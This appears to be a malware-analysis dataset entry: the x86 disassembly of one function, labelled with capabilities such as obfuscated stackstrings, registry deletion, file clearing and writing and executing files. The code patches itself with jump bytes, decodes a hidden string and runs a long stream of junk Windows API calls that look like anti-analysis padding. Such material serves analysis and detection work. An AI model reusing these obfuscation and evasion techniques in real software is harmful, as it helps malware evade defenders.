Function at 0xaaf000
Capabilities:
Accept command line arguments
Allocate thread local storage
Clear file content
Connect pipe
Contain obfuscated stackstrings
Create pipe
Delete registry key
Delete registry value
Enumerate files on windows
Get common file path
Get geographical location
Get memory capacity
Get thread local storage value
Query environment variable
Query or enumerate registry value
Set environment variable
Terminate process
Write and execute a file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
mov dword [ebp - 0x10], 0xaafef1
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xaaf036
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xaaf1d2
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xaaf0b8
call fcn.0047f1f2
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xaaf07a
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xaaf094
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xaaf094
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xaaf04a
mov byte [ebp - 0x70], 3
mov byte [ebp - 0x6f], 0x21
mov byte [ebp - 0x6e], 1
mov byte [ebp - 0x6d], 0x78
mov byte [ebp - 0x6c], 2
mov byte [ebp - 0x6b], 0x73
mov byte [ebp - 0x6a], 9
mov byte [ebp - 0x69], 0x70
mov byte [ebp - 0x68], 0x12
mov byte [ebp - 0x67], 0xab
mov byte [ebp - 0x66], 0x45
mov byte [ebp - 0x65], 0x27
mov byte [ebp - 0x64], 0xa7
mov byte [ebp - 0x63], 0x25
mov byte [ebp - 0x62], 0x5e
mov byte [ebp - 0x61], 0x85
mov byte [ebp - 0x60], 0xcc
mov byte [ebp - 0x5f], 0x37
mov byte [ebp - 0x5e], 0xe4
mov byte [ebp - 0x5d], 0xff
mov byte [ebp - 0x5c], 0x78
mov byte [ebp - 0x5b], 0x1c
mov byte [ebp - 0x5a], 0xb5
mov byte [ebp - 0x59], 0x49
mov byte [ebp - 0x58], 0xa5
mov byte [ebp - 0x57], 0xb7
mov byte [ebp - 0x56], 5
mov byte [ebp - 0x55], 0x72
mov byte [ebp - 0x54], 4
mov byte [ebp - 0x53], 0x82
mov byte [ebp - 0x52], 7
mov byte [ebp - 0x51], 0x6e
mov byte [ebp - 0x50], 6
mov byte [ebp - 0x4f], 0x7d
mov byte [ebp - 0x4e], 0
mov byte [ebp - 0x4d], 0x83
mov byte [ebp - 0x4c], 8
mov byte [ebp - 0x4b], 0x83
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xaaf162
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x26
jae 0xaaf1c7
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x70]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xaaf18e
mov dword [ebp - 0x24], 0x12
mov eax, dword [ebp - 8]
add eax, 0x10
mov dword [ebp - 8], eax
jmp 0xaaf15a
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x6f]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xaaf1b6
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xaaf1a3
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x70]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xaaf15a
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xaa2422
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.00407762
mov ecx, eax
call fcn.00402b5f
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.00402b03
and dword [ebp - 0x1c], 0
jmp 0xaaf20a
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xaaf21a
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xaaf203
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_UnionRect]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
push 0xc8e
call dword [sym.imp.GDI32.dll_GetStockObject]
push 0
call dword [sym.imp.USER32.dll_RegisterClassW]
push 0x731
push 0x10dd
push 0x2391
push 0x268
push 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push 0
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
push 0xd3
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetLayout]
push 0
call dword [sym.imp.KERNEL32.dll_SetDllDirectoryW]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push 0x36d
call dword [sym.imp.KERNEL32.dll_TlsFree]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowInfo]
push 0x1a7e
push 0x4ae
push 0x224d
push 0x2012
push 0
call dword [sym.imp.USER32.dll_SetRect]
push 0x19de
call dword [sym.imp.USER32.dll_PostQuitMessage]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CloseEnhMetaFile]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsWindow]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push 0
push 0x13e7
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetTimer]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
push 0xf4a
push 0
push 0x19cf
push 0x191
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetParent]
push 0x25b1
push 0x1767
push 0x1e9f
push 0x1c3e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Ellipse]
push 0
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
push 1
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push 0
call dword [sym.imp.GDI32.dll_CreateBitmapIndirect]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_DeleteDC]
push 1
push 0
push 1
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
push 0x22eb
push 0x141
push 0
call dword [sym.imp.GDI32.dll_OffsetRgn]
push 0x12e9
push 0x2510
push 0x100c
push 0x1460
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Rectangle]
push 0
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push 0x1249
push 0x241a
push 0
call dword [sym.imp.USER32.dll_EnableMenuItem]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetFocus]
push 0x1b52
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 0
push 0x21b3
push 0
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_CreateDialogParamA]
push 0
push 0
push 0
push 0
push 0xb3b
push 1
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0
push 0
push 0x249c
push 0x254d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendDlgItemMessageA]
push 1
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
push 0x251e
push 0
push 0xda9
push 0x113f
push 0xbd0
push 0
push 0x1b12
push 0x137e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawIconEx]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push 0
call dword [sym.imp.USER32.dll_SetCursor]
push 0
push 0x123d
push 0x7aa
push 0
call dword [sym.imp.GDI32.dll_SetPaletteEntries]
push 0
push 0
push 0x18a9
call dword [sym.imp.ADVAPI32.dll_CopySid]
push 0
push 0xe27
push 0x19c3
push 0
push 0x1cb9
push 0x1155
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push 0
push 0x1ce
push 0xf02
push 0xbe0
push 0x927
push 0xd17
push 0x115c
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
push 0
call dword [sym.imp.USER32.dll_CreateIconIndirect]
push 0
call dword [sym.imp.USER32.dll_RegisterClassA]
push 0
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
push 0
push 0x1578
push 0
push 0x313
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0xf15
push 0x187c
push 0x1dae
push 0x23df
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExcludeClipRect]
call dword [sym.imp.USER32.dll_GetCaretBlinkTime]
push 0x14dc
push 0
push 0x1b2d
push 0x251c
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
push 0x1cdc
push 0x965
push 0
call dword [sym.imp.USER32.dll_DeleteMenu]
push 0
call dword [sym.imp.GDI32.dll_CreatePenIndirect]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ReleaseDC]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0x6e4
push 0x1d5e
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CreateCaret]
push 0x2607
push 0xa02
push 0
call dword [sym.imp.GDI32.dll_CreatePolygonRgn]
call dword [sym.imp.USER32.dll_GetDoubleClickTime]
push 0x1a00
push 0x15d3
call dword [sym.imp.USER32.dll_SetCaretPos]
push 0
call dword [sym.imp.GDI32.dll_CreateBrushIndirect]
push 0
push 0
push 0
push 0x1319
push 0xf10
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentExPointA]
push 0
push 0x6a6
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetScrollInfo]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
push 0x2603
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
push 0xbe4
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
push 0x1956
call dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0
push 0x1933
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPointA]
call dword [sym.imp.USER32.dll_GetCapture]
push 0
push 0xe89
push 0xe20
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharABCWidthsW]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0
push 0x284
push 0x51
call dword [sym.imp.GDI32.dll_CreatePen]
push 0
push 0x1b01
push 0
push 0xfa6
push 0x9a3
call dword [sym.imp.GDI32.dll_ExtCreatePen]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_DialogBoxParamA]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push 0
push 1
push 0x1027
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push 0
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsIconic]
push 0
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0x5bf
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0
push 0x1e4f
push 0x26eb
push 0x2455
call dword [sym.imp.KERNEL32.dll_RaiseException]